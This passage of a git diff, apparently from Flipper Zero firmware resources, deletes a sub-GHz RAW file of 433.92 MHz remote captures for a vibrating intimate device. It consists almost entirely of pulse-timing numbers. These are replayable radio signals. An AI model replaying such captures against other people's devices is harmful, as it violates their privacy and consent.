-66 265 -132 167 -64 1451 -100 557 -66 197 -360 65 -230 97 -132 823 -98 295 -166 261 -100 429 -432 465 -66 429 -68 131 -166 65 -234 167 -200 99 -66 397 -66 99 -166 629 -296 655 -100 65 -100 429 -298 131 -132 231 -132 167 -266 65 -100 397 -200 99 -198 165 -298 65 -98 295 -68 131 -100 65 -330 263 -66 199 -132 901 -98 165 -100 2899 -100 199 -100 429 -66 99 -66 99 -66 199 -100 265 -68 361 -98 299 -68 2119 -100 65 -100 327 -232 67 -132 99 -266 197 -200 563 -66 299 -100 431 -98 265 -98 667 -66 233 -200 133 -100 263 -134 729 -100 133 -166 97 -332 595 -66 131 -166 1031 -264 99 -398 331 -164 195 -166 261 -66 1325 -66 431 -168 199 -134 331 -100 765 -66 161 -66 1017 -164 457 -66 857 -98 625 -100 1775 -166 97 -100 131 -166 201 -66 1191 -336 131 -100 65 -996 133 -98 265 -200 165 -398 265 -66 165 -66 431 -100 265 -100 493 -198 99 -100 563 -166 165 -166 99 -296 331 -66 665 -66 1321 -132 891 -164 427 -98 625 -98 821 -100 131 -66 923 -100 357 -98 1251 -98 765 -132 99 -366 199 -234 263 -198 331 -628 429 -66 365 -398 861 -100 231 -266 563 -132 199 -166 365 -100 67 -298 99 -98 99 -232 525 -460 561 -232 263 -100 295 -162 163 -66 329 -66 131 -66 295 -890 425 -456 99 -66 131 -328 297 -266 297 -234 131 -68 131 -98 459 -264 723 -134 65 -66 165 -166 231 -100 65 -134 129 -66 65 -66 363 -626 97 -130 459 -726 331 -464 131 -66 229 -1220 261 -166 295 -496 65 -1222 63 -230 165 -986 65 -166 97 -132 131 -394 65 -68 261 -298 365 -66 165 -332 63 -132 197 -66 261 -100 195 -66 99 -132 97 -462 197 -330 99 -164 165 -228 557 -66 97 -132 361 -66 263 -164 99 -330 497 -100 133 -198 795 -132 65 -132 365 -100 265 -398 165 -302 165 -100 299 -98 233 -100 199 -100 397 -98 599 -100 67 -100 561 -166 231 -68 99 -166 1193 -66 99 -166 263 -164 295 -132 97 -132 197 -330 65 -400 97 -660 65 -100 233 -432 65 -66 131 -100 99 -100 233 -132 65 -432 197 -168 199 -100 97 -134 133 -200 65 -894 167 -132 201 -166 131 -230 131 -232 229 -230 65 -66 329 -232 65 -1858 199 -196 197 -528 97 -166 99 -232 299 -132 199 -198 97 -64 97 -RAW_Data: -166 65 -262 593 -166 1795 -200 727 -64 827 -100 1391 -98 765 -134 459 -66 625 -100 1889 -100 465 -132 165 -166 163 -198 331 -66 231 -166 563 -66 663 -332 331 -100 297 -296 327 -198 229 -134 831 -332 365 -166 565 -68 299 -164 497 -98 299 -68 1033 -66 797 -232 631 -68 1221 -100 523 -100 1491 -268 499 -332 65 -100 65 -132 99 -398 97 -132 229 -98 329 -98 131 -66 229 -132 197 -164 361 -264 197 -100 165 -100 761 -230 165 -264 67 -98 67 -66 629 -298 395 -264 67 -98 1451 -132 1943 -66 1217 -164 529 -134 131 -166 299 -134 133 -132 1427 -232 297 -100 131 -134 201 -166 299 -132 131 -332 65 -264 333 -98 197 -332 163 -134 163 -166 133 -726 97 -100 327 -66 887 -230 559 -132 131 -262 97 -166 229 -166 97 -66 1283 -166 763 -66 463 -68 563 -66 461 -134 1557 -98 765 -66 265 -132 431 -66 131 -68 265 -100 199 -100 429 -100 1953 -166 395 -100 229 -100 891 -66 97 -198 65 -296 557 -330 459 -132 361 -232 65 -100 1759 -200 231 -134 427 -296 263 -298 663 -100 65 -132 601 -166 97 -66 263 -100 197 -132 361 -100 365 -164 331 -200 297 -66 131 -132 265 -300 199 -232 197 -134 299 -100 131 -298 131 -98 165 -100 131 -68 397 -66 1125 -100 495 -66 163 -66 4113 -296 723 -98 391 -132 1289 -166 465 -232 527 -166 333 -200 199 -100 131 -464 131 -66 165 -394 361 -98 361 -166 199 -66 265 -164 131 -730 365 -598 197 -664 433 -960 131 -164 65 -296 131 -100 131 -230 133 -66 97 -132 293 -98 263 -890 99 -132 197 -132 199 -200 65 -262 131 -164 263 -100 97 -66 691 -264 165 -98 625 -266 263 -132 659 -134 299 -198 497 -262 165 -296 65 -166 361 -166 131 -134 367 -362 533 -264 231 -134 167 -532 263 -164 67 -132 165 -134 197 -168 165 -332 65 -134 65 -794 461 -164 163 -198 97 -426 263 -166 99 -100 99 -364 65 -730 65 -134 133 -66 99 -166 65 -660 131 -98 65 -328 65 -164 229 -394 129 -100 229 -660 163 -230 165 -326 263 -558 65 -232 63 -328 493 -198 131 -198 63 -264 165 -132 65 -134 263 -1228 265 -1096 295 -130 99 -630 199 -430 99 -66 197 -166 265 -1688 229 -362 197 -164 65 -132 197 -232 63 -264 65 -132 229 -198 97 -560 131 -164 65 -296 331 -328 99 -360 197 -164 129 -230 65 -560 197 -130 131 -130 131 -328 131 -130 99 -130 197 -132 199 -96 261 -298 463 -460 65 -824 97 -66 459 -230 165 -66 297 -332 165 -134 463 -66 99 -134 265 -132 197 -132 99 -RAW_Data: -594 133 -828 131 -66 297 -232 365 -66 263 -300 265 -130 623 -230 297 -296 163 -262 591 -66 97 -64 427 -100 429 -66 229 -194 329 -132 99 -296 559 -66 165 -98 2275 -98 167 -100 65 -266 197 -300 97 -66 165 -68 329 -100 363 -168 65 -66 829 -100 363 -196 165 -196 131 -66 197 -66 65 -64 131 -166 163 -98 361 -398 97 -198 561 -132 929 -100 165 -100 65 -66 1359 -132 761 -66 563 -68 529 -134 1361 -100 861 -66 297 -200 727 -168 663 -168 99 -66 133 -132 231 -200 97 -100 133 -68 467 -134 165 -100 297 -100 331 -400 529 -134 131 -100 133 -100 233 -98 99 -200 165 -298 163 -64 163 -164 163 -100 97 -132 593 -100 65 -298 463 -264 297 -166 363 -132 133 -232 1591 -66 331 -66 531 -232 765 -98 265 -66 859 -166 99 -266 597 -298 231 -364 627 -132 99 -100 1157 -264 887 -132 65 -198 361 -164 97 -98 97 -164 329 -66 329 -98 163 -856 99 -100 425 -198 99 -98 229 -364 195 -132 229 -264 227 -130 97 -166 163 -100 397 -266 99 -100 231 -200 133 -336 131 -100 131 -402 1157 -66 955 -200 229 -66 689 -100 689 -100 227 -66 361 -98 97 -66 163 -166 229 -66 465 -132 167 -168 397 -166 359 -198 327 -100 1083 -66 1159 -100 599 -66 1625 -198 593 -330 895 -134 1195 -100 697 -200 1363 -132 565 -66 231 -66 97 -66 793 -296 263 -98 195 -98 99 -262 197 -394 97 -296 363 -100 499 -98 333 -132 165 -298 231 -98 599 -68 231 -132 299 -562 2125 -134 197 -64 925 -264 527 -166 395 -266 629 -198 1423 -196 327 -230 395 -66 97 -66 163 -164 197 -64 329 -98 65 -100 1091 -164 299 -400 697 -230 329 -66 163 -66 99 -132 327 -132 65 -100 821 -166 131 -264 297 -132 493 -166 131 -164 493 -100 727 -100 1261 -232 133 -132 329 -430 97 -166 165 -100 67 -232 859 -132 65 -268 97 -66 265 -100 65 -132 299 -298 265 -234 165 -132 65 -132 99 -98 133 -264 99 -66 397 -198 463 -166 65 -98 65 -98 263 -100 297 -266 495 -66 233 -436 165 -466 65 -136 65 -66 199 -132 99 -298 131 -166 67 -264 165 -66 99 -134 595 -266 99 -232 99 -132 167 -168 99 -1552 199 -164 197 -266 167 -168 131 -66 99 -730 65 -234 65 -330 131 -994 99 -630 65 -232 197 -134 231 -100 199 -100 131 -264 99 -264 65 -100 431 -100 199 -300 231 -130 165 -594 65 -498 99 -66 265 -264 133 -132 65 -68 163 -300 99 -232 67 -132 165 -166 165 -66 131 -164 231 -1780 331 -98 99 -166 201 -166 129 -RAW_Data: -232 263 -200 197 -370 165 -166 699 -66 263 -132 65 -196 197 -132 627 -66 67 -130 659 -166 231 -132 563 -266 231 -200 235 -364 2161 -68 791 -198 891 -132 1779 -164 393 -98 459 -100 393 -296 2047 -426 427 -132 723 -66 63 -66 131 -98 429 -234 99 -166 797 -68 595 -134 465 -366 529 -330 299 -200 99 -100 99 -66 529 -66 233 -200 297 -462 1795 -66 265 -66 65 -100 163 -132 165 -68 231 -100 233 -66 695 -264 65 -132 397 -66 1461 -266 993 -268 197 -132 593 -100 1191 -164 295 -66 629 -164 657 -98 335 -98 299 -232 231 -66 133 -200 163 -168 165 -364 329 -232 231 -134 131 -100 97 -200 427 -66 163 -66 229 -100 99 -164 263 -198 131 -98 229 -166 197 -100 1585 -262 1713 -66 65 -98 921 -164 523 -98 1087 -66 197 -326 99 -98 699 -98 97 -66 97 -164 589 -164 231 -100 97 -100 265 -200 297 -66 131 -66 593 -68 299 -66 531 -166 65 -298 661 -232 65 -234 131 -68 163 -498 231 -196 399 -66 425 -66 263 -132 99 -66 99 -164 133 -132 301 -494 129 -100 495 -166 229 -66 361 -98 329 -166 167 -66 167 -66 133 -200 99 -232 99 -100 131 -166 165 -200 65 -464 133 -66 65 -266 429 -132 263 -266 1393 -66 529 -232 65 -66 725 -330 99 -132 499 -102 231 -166 761 -66 531 -66 825 -132 229 -228 1123 -166 733 -132 725 -166 297 -266 265 -100 131 -232 329 -66 199 -98 329 -100 689 -398 131 -132 99 -234 265 -164 133 -232 133 -166 365 -430 331 -100 1425 -462 463 -132 231 -364 229 -66 163 -66 561 -66 401 -66 297 -198 527 -66 131 -130 97 -166 231 -100 101 -132 461 -100 695 -166 129 -198 165 -130 393 -166 231 -164 133 -658 229 -198 97 -198 65 -1018 527 -660 395 -132 231 -428 97 -132 163 -196 231 -534 65 -232 97 -230 131 -1386 129 -232 197 -198 261 -166 65 -98 97 -100 97 -464 65 -66 67 -460 131 -628 163 -200 269 -66 397 -832 463 -198 67 -430 99 -168 199 -132 99 -630 131 -68 197 -896 199 -132 165 -198 233 -430 101 -232 233 -298 461 -300 65 -100 363 -398 131 -66 463 -66 233 -100 265 -232 165 -98 265 -166 231 -132 99 -234 197 -134 297 -166 97 -66 97 -298 97 -198 231 -68 231 -200 233 -66 131 -234 763 -100 231 -166 795 -132 397 -102 431 -166 657 -494 329 -164 259 -66 131 -164 163 -100 263 -1120 329 -132 65 -66 165 -164 65 -198 229 -66 327 -296 197 -532 265 -166 99 -100 65 -132 297 -132 697 -100 231 -132 295 -328 231 -66 497 -298 1591 -RAW_Data: -166 729 -134 299 -132 727 -100 563 -100 131 -66 663 -100 1123 -198 4401 -200 595 -66 987 -298 793 -100 563 -68 295 -66 99 -66 495 -234 199 -100 133 -66 165 -66 165 -68 65 -66 429 -66 597 -132 855 -232 131 -296 229 -132 393 -134 429 -66 97 -300 99 -66 461 -100 595 -66 497 -68 297 -232 2953 -68 497 -166 995 -262 1557 -100 293 -66 361 -198 327 -198 755 -98 1291 -166 229 -98 163 -230 429 -166 131 -130 657 -132 495 -362 99 -130 65 -132 129 -100 65 -66 97 -166 65 -334 131 -100 297 -398 131 -200 133 -66 99 -166 263 -66 329 -262 195 -164 263 -132 597 -66 429 -266 97 -232 63 -132 231 -132 99 -100 1129 -98 327 -66 261 -164 63 -166 261 -66 163 -132 265 -100 1215 -98 97 -98 231 -98 627 -168 729 -100 131 -66 231 -134 1261 -100 559 -98 325 -200 231 -166 99 -66 131 -100 563 -100 563 -232 197 -200 165 -298 299 -100 397 -332 431 -398 267 -134 65 -98 265 -132 67 -98 593 -164 65 -162 65 -230 495 -100 429 -66 163 -100 99 -132 65 -300 663 -66 995 -166 365 -200 433 -232 461 -100 759 -66 297 -66 231 -100 231 -134 1453 -66 1593 -66 65 -100 427 -132 99 -132 397 -100 131 -100 565 -98 99 -100 463 -66 99 -66 895 -232 565 -68 133 -400 65 -100 197 -630 65 -166 599 -200 67 -300 631 -134 197 -100 2555 -198 729 -134 427 -100 267 -168 299 -366 1955 -198 1149 -364 99 -66 65 -66 761 -132 325 -98 395 -132 167 -98 97 -66 67 -132 465 -232 131 -266 99 -100 463 -100 65 -532 295 -198 199 -166 267 -66 333 -66 65 -198 1165 -198 165 -66 167 -100 133 -166 99 -100 563 -168 1459 -362 63 -166 263 -330 131 -230 161 -132 161 -790 229 -396 195 -196 65 -164 97 -1326 65 -68 131 -166 99 -100 165 -266 99 -830 67 -432 199 -232 99 -100 231 -332 163 -560 195 -260 195 -460 65 -66 229 -166 65 -134 195 -100 299 -198 199 -764 131 -564 131 -698 131 -166 133 -300 131 -200 97 -100 65 -532 65 -200 231 -300 199 -264 131 -428 165 -998 133 -132 133 -564 65 -134 65 -198 297 -528 559 -262 65 -98 197 -524 229 -260 391 -1822 167 -132 65 -100 199 -334 197 -168 131 -68 65 -134 99 -364 131 -464 297 -724 131 -920 131 -164 97 -130 263 -164 161 -230 197 -196 65 -328 197 -330 99 -400 265 -166 331 -600 263 -132 131 -134 235 -132 67 -66 229 -366 329 -564 133 -166 99 -332 99 -166 163 -234 67 -928 163 -662 265 -896 361 -330 65 -2054 97 -300 97 -RAW_Data: -1394 331 -100 65 -132 133 -262 131 -230 587 -198 329 -98 533 -66 427 -136 297 -66 99 -262 627 -132 99 -100 165 -98 199 -266 497 -66 827 -98 99 -132 233 -100 395 -66 99 -66 365 -98 559 -428 433 -166 99 -132 133 -200 65 -100 131 -134 501 -598 131 -100 233 -132 231 -132 1377 -66 331 -100 1691 -66 463 -232 1911 -100 1621 -68 463 -200 363 -100 495 -66 199 -200 131 -132 197 -526 295 -98 295 -66 99 -198 687 -66 625 -132 65 -64 695 -198 793 -100 431 -364 131 -166 231 -168 65 -100 65 -132 531 -132 131 -230 721 -64 97 -166 131 -134 757 -66 67 -132 1025 -132 1127 -66 195 -98 921 -68 2689 -100 523 -66 131 -230 263 -200 65 -168 231 -134 361 -98 691 -66 97 -68 693 -66 595 -164 1153 -100 327 -264 197 -266 231 -234 427 -66 99 -430 363 -762 65 -132 131 -134 297 -166 599 -230 165 -166 1059 -396 99 -98 329 -98 199 -232 199 -66 831 -66 365 -298 599 -68 399 -100 1057 -164 719 -100 65 -100 921 -66 327 -296 65 -196 559 -66 197 -132 459 -164 65 -164 689 -130 63 -132 297 -100 431 -68 65 -100 67 -332 65 -100 229 -100 299 -66 65 -100 825 -132 165 -100 99 -300 395 -200 2053 -198 363 -98 1945 -232 2369 -98 163 -392 625 -198 197 -264 229 -132 657 -232 199 -98 99 -66 427 -232 297 -232 67 -264 99 -66 133 -66 265 -66 663 -100 99 -66 297 -100 65 -232 165 -66 495 -166 195 -592 63 -594 393 -796 131 -362 163 -364 67 -264 131 -532 65 -132 397 -232 233 -266 131 -134 131 -598 165 -530 97 -366 99 -368 231 -196 527 -460 97 -66 99 -430 99 -200 67 -132 99 -134 297 -132 99 -166 99 -498 231 -230 99 -130 397 -66 229 -462 65 -398 263 -1062 263 -332 65 -100 197 -166 195 -264 63 -66 165 -330 99 -130 197 -130 65 -526 265 -164 97 -430 97 -234 63 -66 457 -132 99 -294 97 -232 97 -132 229 -164 131 -132 197 -132 427 -198 165 -100 467 -66 99 -268 131 -100 263 -100 131 -66 631 -100 65 -66 197 -196 625 -100 131 -166 131 -132 131 -132 133 -132 727 -66 331 -164 67 -132 231 -98 131 -66 921 -132 525 -98 131 -66 395 -164 1479 -100 197 -100 1263 -132 165 -100 65 -232 265 -132 431 -332 197 -100 263 -298 97 -100 99 -168 131 -134 265 -98 465 -100 131 -66 265 -134 665 -98 699 -100 1215 -926 131 -426 263 -490 97 -132 65 -66 97 -100 361 -100 197 -164 131 -66 165 -428 65 -166 131 -392 65 -264 359 -428 131 -164 231 -232 97 -RAW_Data: -100 231 -200 331 -100 231 -200 565 -166 131 -300 199 -98 791 -262 231 -164 97 -166 131 -66 229 -164 163 -132 299 -100 167 -232 99 -66 131 -66 491 -66 261 -230 197 -134 167 -202 5149 -100 1223 -66 755 -66 1787 -66 431 -66 399 -200 463 -66 1029 -66 497 -200 563 -132 227 -66 295 -168 297 -100 527 -132 929 -132 367 -66 265 -66 165 -200 463 -166 1619 -68 4841 -100 2353 -102 599 -68 597 -166 99 -66 2485 -166 1247 -66 463 -132 491 -98 425 -98 5641 -100 1879 -66 229 -166 495 -66 459 -98 825 -66 97 -328 265 -98 131 -100 131 -130 1351 -66 429 -232 795 -132 101 -66 693 -134 627 -266 133 -66 65 -134 65 -132 233 -98 133 -168 761 -98 1227 -132 695 -134 2795 -66 327 -296 263 -66 723 -98 197 -164 195 -66 99 -98 789 -232 165 -132 791 -130 527 -98 757 -98 131 -66 99 -64 65 -100 359 -98 65 -462 329 -166 261 -296 195 -166 163 -64 459 -294 297 -364 333 -66 399 -164 199 -200 97 -132 197 -130 459 -66 461 -132 233 -132 165 -68 297 -300 231 -134 495 -294 295 -198 133 -66 133 -98 99 -66 395 -66 857 -66 265 -198 231 -98 295 -232 263 -134 297 -134 691 -332 1257 -166 1289 -198 425 -68 597 -98 923 -98 99 -164 229 -130 231 -98 263 -98 129 -164 163 -166 261 -164 65 -360 165 -132 197 -66 167 -468 233 -232 429 -264 227 -230 297 -166 133 -168 265 -134 165 -264 261 -888 197 -164 195 -394 295 -330 129 -66 131 -230 329 -166 263 -432 331 -130 295 -326 231 -130 263 -66 195 -198 467 -66 299 -132 165 -530 99 -132 99 -66 99 -66 99 -100 99 -464 197 -168 165 -166 133 -134 65 -66 99 -100 597 -298 133 -198 133 -66 331 -132 199 -432 131 -198 333 -132 231 -66 1059 -100 99 -98 331 -166 99 -100 265 -134 65 -168 233 -232 231 -296 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_2.sub deleted file mode 100644 index 8c2f57d58..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_2.sub +++ /dev/null @@ -1,13 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1025 -100 561 -98 199 -332 97 -496 199 -98 165 -68 197 -166 65 -100 97 -232 295 -68 231 -132 1029 -98 629 -234 927 -266 201 -665 625 -66 131 -66 395 -98 99 -66 165 -166 463 -300 465 -232 99 -98 465 -464 197 -200 99 -166 131 -300 199 -466 231 -100 297 -66 65 -100 231 -98 299 -298 199 -100 165 -134 699 -132 131 -166 133 -66 165 -402 163 -66 229 -166 99 -100 167 -100 265 -68 363 -166 529 -296 197 -168 167 -100 165 -428 329 -262 165 -130 131 -196 99 -826 263 -166 133 -166 133 -98 497 -134 65 -332 629 -132 133 -100 229 -130 97 -198 63 -66 131 -100 263 -134 131 -100 431 -464 165 -232 167 -166 65 -132 765 -66 397 -100 231 -66 163 -198 63 -232 723 -98 231 -98 65 -164 263 -98 295 -294 131 -98 99 -264 163 -132 327 -134 99 -100 365 -98 233 -232 199 -562 197 -100 163 -132 499 -132 165 -430 431 -232 229 -394 957 -164 65 -196 625 -498 199 -130 359 -68 65 -68 263 -132 229 -132 63 -166 593 -164 297 -98 167 -66 433 -166 167 -102 99 -68 363 -232 231 -200 561 -196 263 -132 697 -100 463 -166 363 -200 65 -100 195 -200 463 -232 67 -66 397 -598 131 -132 131 -98 229 -132 261 -98 295 -164 133 -98 195 -360 329 -130 65 -162 395 -100 165 -164 131 -130 329 -130 197 -326 591 -132 131 -164 133 -164 131 -162 227 -66 195 -198 63 -98 97 -132 131 -198 195 -394 131 -198 99 -594 429 -166 65 -100 265 -66 329 -166 299 -132 133 -132 99 -98 265 -66 197 -132 563 -68 231 -232 65 -68 133 -66 131 -166 133 -264 195 -594 395 -98 197 -596 361 -394 99 -234 197 -460 65 -132 229 -66 261 -230 431 -66 797 -100 165 -200 231 -100 431 -100 5073 -66 3573 -98 865 -98 3123 -132 631 -200 431 -66 199 -298 97 -98 197 -100 265 -166 133 -132 331 -166 267 -302 197 -134 197 -168 197 -100 133 -100 233 -66 99 -66 1455 -66 263 -168 1647 -264 233 -102 1851 -66 2569 -98 1193 -166 1415 -100 727 -98 987 -134 327 -100 231 -98 231 -132 227 -132 397 -100 233 -202 131 -68 429 -134 693 -132 65 -132 395 -66 267 -232 261 -66 297 -198 329 -166 327 -98 983 -100 131 -98 131 -132 457 -98 259 -230 99 -230 295 -228 165 -66 231 -98 133 -100 229 -66 327 -166 423 -198 263 -132 99 -328 65 -400 367 -66 197 -134 65 -132 197 -132 199 -662 165 -264 393 -64 787 -66 433 -134 263 -394 131 -100 461 -134 895 -98 365 -132 263 -232 297 -66 65 -100 1127 -134 97 -100 -RAW_Data: 165 -166 65 -66 923 -198 4087 -66 2055 -100 665 -166 1163 -100 433 -132 595 -200 1293 -68 531 -262 11993 -98 4267 -132 729 -166 1461 -134 795 -198 297 -66 2545 -66 361 -66 1225 -66 1093 -134 201 -66 2991 -100 563 -66 5505 -166 65 -66 361 -66 631 -66 401 -98 4121 -66 665 -68 3043 -64 857 -134 1129 -166 729 -266 1225 -132 2419 -98 2059 -66 99 -234 2243 -98 8705 -132 1951 -98 2687 -66 363 -230 1413 -66 497 -98 231 -68 197 -132 133 -398 231 -66 199 -828 597 -300 65 -100 131 -66 499 -198 67 -166 231 -102 531 -66 199 -432 561 -166 99 -166 167 -200 97 -166 331 -330 65 -196 165 -98 197 -230 197 -132 397 -132 297 -300 99 -98 267 -132 165 -200 233 -68 167 -66 695 -166 97 -100 99 -100 397 -132 461 -134 99 -98 663 -100 231 -166 329 -98 463 -100 99 -200 199 -660 823 -132 885 -132 65 -166 263 -132 663 -100 195 -164 163 -198 131 -166 365 -232 231 -698 295 -100 97 -166 329 -134 99 -100 459 -98 393 -232 363 -166 65 -66 263 -162 197 -364 165 -198 99 -398 397 -134 197 -68 263 -68 397 -200 297 -166 133 -68 97 -66 561 -132 197 -166 133 -100 435 -66 297 -66 265 -100 365 -264 65 -166 361 -166 397 -66 165 -232 99 -132 231 -100 233 -200 65 -100 197 -100 595 -132 293 -262 163 -394 263 -66 129 -132 459 -98 197 -66 923 -132 261 -98 425 -98 363 -230 97 -66 557 -66 231 -98 723 -132 229 -100 195 -132 361 -98 163 -66 263 -98 359 -132 97 -198 329 -66 491 -164 165 -100 133 -466 363 -98 791 -592 463 -100 233 -100 431 -132 131 -68 961 -100 459 -98 263 -66 293 -66 855 -66 297 -66 359 -98 4173 -100 331 -68 2353 -66 1065 -66 2149 -132 165 -98 65 -198 461 -166 563 -234 65 -166 267 -200 363 -464 697 -332 199 -100 165 -496 331 -100 199 -166 131 -134 433 -98 99 -68 429 -168 65 -100 165 -168 299 -98 133 -66 431 -66 399 -134 133 -98 497 -164 297 -166 457 -98 785 -264 197 -64 263 -130 523 -66 97 -66 425 -726 131 -300 131 -232 233 -98 265 -100 165 -66 199 -100 131 -66 297 -198 163 -132 131 -98 887 -68 361 -366 1021 -100 265 -98 457 -64 631 -134 431 -298 133 -100 729 -132 531 -428 265 -66 165 -66 99 -100 595 -134 299 -164 1189 -66 229 -198 165 -100 667 -366 327 -162 1453 -298 463 -198 165 -66 367 -132 99 -100 165 -68 99 -132 99 -166 65 -334 199 -200 99 -134 331 -166 167 -100 661 -66 265 -132 167 -170 363 -330 265 -132 -RAW_Data: 165 -66 65 -98 963 -66 99 -66 1259 -132 133 -66 333 -100 2021 -100 365 -100 595 -164 981 -100 623 -132 427 -132 297 -198 763 -98 3697 -66 459 -232 131 -68 9539 -66 261 -64 1783 -100 1051 -66 429 -232 597 -66 2125 -198 267 -100 761 -100 565 -100 65 -100 265 -66 3225 -132 793 -100 5101 -66 1311 -98 2711 -234 463 -66 995 -66 99 -164 761 -100 2283 -166 797 -98 2421 -66 2143 -66 165 -164 827 -298 1551 -134 1031 -66 331 -68 827 -66 2313 -166 233 -98 99 -164 131 -134 197 -66 331 -100 497 -200 65 -66 197 -132 361 -298 625 -166 163 -132 65 -66 297 -132 2339 -66 587 -100 65 -230 261 -264 265 -102 497 -328 131 -66 557 -66 361 -166 463 -132 199 -100 167 -68 165 -792 427 -66 165 -198 763 -132 131 -100 131 -100 199 -134 199 -166 67 -100 165 -400 231 -100 165 -100 199 -166 99 -100 267 -234 397 -332 65 -264 263 -198 261 -164 491 -98 557 -66 265 -64 65 -66 229 -66 395 -66 295 -332 461 -130 165 -164 431 -428 299 -100 197 -330 163 -200 695 -132 97 -196 65 -100 197 -98 395 -66 197 -130 429 -66 263 -66 327 -130 197 -98 263 -100 333 -166 267 -134 497 -100 65 -100 199 -102 467 -98 199 -166 431 -134 199 -200 459 -266 265 -66 693 -132 265 -166 261 -134 199 -166 67 -100 265 -68 297 -66 431 -100 499 -66 1449 -66 2237 -100 763 -68 1779 -132 327 -98 2285 -166 263 -66 293 -132 1351 -164 267 -98 397 -166 231 -500 395 -166 165 -166 99 -132 429 -66 161 -132 263 -264 97 -66 165 -98 393 -98 661 -132 331 -132 399 -268 199 -266 231 -630 265 -132 133 -98 67 -132 495 -66 365 -166 99 -100 265 -166 367 -132 167 -100 667 -164 397 -232 197 -832 431 -298 295 -166 165 -132 99 -132 133 -132 131 -100 131 -264 559 -66 853 -100 229 -166 531 -166 233 -66 697 -134 233 -234 131 -66 99 -166 165 -98 65 -100 329 -132 359 -132 163 -264 295 -232 461 -132 497 -196 97 -198 129 -66 165 -98 297 -166 97 -460 131 -164 65 -328 197 -296 363 -398 197 -134 397 -396 233 -66 501 -166 365 -66 399 -132 265 -68 997 -266 365 -198 199 -132 399 -132 299 -398 955 -66 787 -66 1521 -66 129 -68 65 -300 331 -200 1193 -100 165 -268 231 -100 1031 -66 463 -200 165 -132 425 -100 131 -98 163 -230 99 -132 165 -200 99 -66 165 -134 167 -766 929 -232 431 -266 429 -130 197 -100 231 -564 131 -402 231 -166 131 -64 229 -132 295 -66 331 -394 65 -66 297 -132 101 -134 335 -330 -RAW_Data: 497 -66 297 -66 591 -132 165 -66 527 -66 5823 -232 1085 -100 2685 -134 231 -132 365 -66 631 -98 431 -100 233 -132 365 -100 427 -100 661 -164 463 -68 887 -66 229 -66 6689 -134 2551 -134 67 -68 1481 -164 1087 -198 525 -100 831 -100 133 -98 299 -66 1655 -66 755 -66 5385 -164 1817 -166 435 -66 563 -132 231 -198 131 -64 435 -132 201 -166 527 -98 1395 -134 495 -66 1025 -166 3995 -100 2341 -66 1057 -196 231 -164 429 -98 2335 -198 229 -64 197 -98 165 -66 295 -98 461 -66 6425 -98 863 -68 2789 -68 597 -132 457 -100 263 -202 331 -132 829 -166 131 -134 165 -132 533 -132 97 -166 331 -66 331 -630 131 -200 267 -164 265 -234 531 -100 661 -164 329 -100 131 -98 295 -198 261 -198 231 -98 855 -100 261 -66 227 -164 65 -134 131 -98 229 -132 163 -132 97 -560 131 -132 325 -66 329 -98 231 -592 97 -134 461 -66 231 -228 229 -66 129 -98 393 -164 299 -366 231 -66 165 -132 131 -100 463 -166 265 -828 431 -532 429 -134 431 -168 895 -66 893 -66 3247 -66 67 -98 525 -132 985 -66 327 -100 1851 -232 99 -66 131 -132 299 -398 265 -332 133 -66 165 -166 395 -166 99 -300 197 -100 597 -100 165 -134 197 -100 995 -98 267 -66 931 -100 197 -98 365 -66 461 -68 165 -166 365 -198 199 -66 233 -232 231 -66 199 -132 65 -166 133 -166 397 -100 431 -66 299 -166 133 -66 199 -98 133 -198 265 -264 133 -66 297 -330 197 -132 295 -100 635 -98 165 -198 229 -198 395 -132 263 -494 197 -66 425 -132 163 -196 97 -164 97 -66 297 -132 563 -98 133 -102 131 -66 463 -66 99 -100 431 -362 263 -132 361 -164 327 -132 231 -166 529 -102 395 -66 263 -66 261 -164 197 -196 657 -198 65 -68 363 -262 731 -66 131 -166 99 -132 729 -166 167 -68 197 -134 793 -166 99 -66 233 -164 167 -136 165 -66 431 -166 99 -166 131 -132 133 -198 531 -134 165 -396 263 -98 199 -100 197 -100 1031 -232 763 -264 165 -100 131 -100 197 -100 265 -132 99 -132 463 -366 531 -198 397 -100 427 -134 431 -132 729 -100 263 -500 461 -68 363 -134 131 -68 199 -400 197 -134 297 -200 799 -100 97 -132 131 -234 99 -332 1059 -232 65 -132 727 -132 1093 -100 231 -996 1025 -98 165 -232 897 -298 727 -98 65 -100 261 -132 723 -66 361 -558 97 -100 195 -166 691 -264 65 -64 197 -66 99 -132 731 -164 99 -198 529 -68 65 -98 333 -100 365 -66 267 -100 561 -66 299 -166 395 -166 297 -166 531 -430 531 -66 427 -132 295 -132 -RAW_Data: 1017 -130 165 -164 65 -98 4031 -132 535 -66 1723 -100 463 -100 1259 -464 1129 -132 1919 -132 1131 -100 1259 -134 299 -168 3533 -824 447 -846 413 -842 425 -822 441 -834 409 -840 435 -930 361 -838 1303 -408 447 -414 407 -572 303 -390 413 -452 387 -454 135 -858 411 -834 195 -60 151 -434 441 -388 447 -414 155 -62 187 -440 415 -852 419 -430 397 -434 413 -418 417 -834 441 -858 427 -406 415 -850 409 -418 411 -838 439 -402 421 -876 413 -412 427 -936 327 -836 449 -810 425 -836 413 -856 395 -862 421 -844 403 -848 413 -854 425 -838 1709 -388 443 -384 443 -416 409 -416 445 -414 417 -408 447 -844 399 -852 411 -410 423 -424 443 -382 451 -820 445 -418 417 -414 409 -418 423 -868 407 -432 385 -844 447 -418 427 -840 421 -414 411 -846 415 -416 417 -848 441 -388 445 -810 429 -846 449 -820 421 -842 447 -842 413 -814 449 -820 421 -842 453 -816 441 -812 1699 -422 415 -420 429 -428 409 -416 417 -420 439 -410 413 -850 441 -822 417 -418 417 -418 439 -426 387 -844 447 -382 441 -412 445 -416 419 -834 413 -440 443 -808 425 -398 439 -846 417 -408 445 -808 427 -410 447 -842 433 -388 445 -808 429 -854 411 -832 411 -850 437 -822 421 -844 425 -852 381 -872 409 -842 421 -848 1693 -420 427 -418 405 -426 441 -382 447 -416 417 -414 423 -838 449 -842 413 -418 417 -416 407 -438 415 -842 439 -410 415 -420 417 -454 405 -820 445 -420 423 -834 413 -442 395 -852 413 -410 423 -848 413 -442 429 -844 385 -442 